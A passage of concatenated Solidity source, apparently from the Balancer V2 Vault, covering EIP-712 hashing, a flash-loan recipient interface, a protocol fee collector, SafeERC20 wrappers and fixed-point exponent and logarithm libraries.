bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "../../lib/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the
* Vault performs to reduce its overall bytecode size.
*
* The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are
* sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated
* to the Vault's own authorizer.
*/
contract ProtocolFeesCollector is Authentication, ReentrancyGuard {
using SafeERC20 for IERC20;
// Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%).
uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50%
uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1%
IVault public immutable vault;
// All fee percentages are 18-decimal fixed point numbers.
// The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not
// actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due
// when users join and exit them.
uint256 private _swapFeePercentage;
// The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent.
uint256 private _flashLoanFeePercentage;
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
constructor(IVault _vault)
// The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action
// identifiers.
Authentication(bytes32(uint256(address(this))))
{
vault = _vault;
}
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external nonReentrant authenticate {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
token.safeTransfer(recipient, amount);
}
}
function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate {
_require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH);
_swapFeePercentage = newSwapFeePercentage;
emit SwapFeePercentageChanged(newSwapFeePercentage);
}
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate {
_require(
newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE,
Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH
);
_flashLoanFeePercentage = newFlashLoanFeePercentage;
emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage);
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
function getFlashLoanFeePercentage() external view returns (uint256) {
return _flashLoanFeePercentage;
}
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) {
feeAmounts = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
feeAmounts[i] = tokens[i].balanceOf(address(this));
}
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
return _getAuthorizer().canPerform(actionId, account, address(this));
}
function _getAuthorizer() internal view returns (IAuthorizer) {
return vault.getAuthorizer();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
import "../../vault/interfaces/IAsset.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IAsset[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
*
* WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert.
*/
function _callOptionalReturn(address token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
(bool success, bytes memory returndata) = token.call(data);
// If the low-level call didn't succeed we return whatever was returned from it.
assembly {
if eq(success, 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs
_require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/FixedPoint.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./ProtocolFeesCollector.sol";
import "./VaultAuthorization.sol";
import "./interfaces/IVault.sol";
/**
* @dev To reduce the bytecode size of the Vault, most of the protocol fee logic is not here, but in the
* ProtocolFeesCollector contract.
*/
abstract contract Fees is IVault {
using SafeERC20 for IERC20;
ProtocolFeesCollector private immutable _protocolFeesCollector;
constructor() {
_protocolFeesCollector = new ProtocolFeesCollector(IVault(this));
}
function getProtocolFeesCollector() public view override returns (ProtocolFeesCollector) {
return _protocolFeesCollector;
}
/**
* @dev Returns the protocol swap fee percentage.
*/
function _getProtocolSwapFeePercentage() internal view returns (uint256) {
return getProtocolFeesCollector().getSwapFeePercentage();
}
/**
* @dev Returns the protocol fee amount to charge for a flash loan of `amount`.
*/
function _calculateFlashLoanFeeAmount(uint256 amount) internal view returns (uint256) {
// Fixed point multiplication introduces error: we round up, which means in certain scenarios the charged
// percentage can be slightly higher than intended.
uint256 percentage = getProtocolFeesCollector().getFlashLoanFeePercentage();
return FixedPoint.mulUp(amount, percentage);
}
function _payFeeAmount(IERC20 token, uint256 amount) internal {
if (amount > 0) {
token.safeTransfer(address(getProtocolFeesCollector()), amount);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General internal License for more details.
// You should have received a copy of the GNU General internal License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
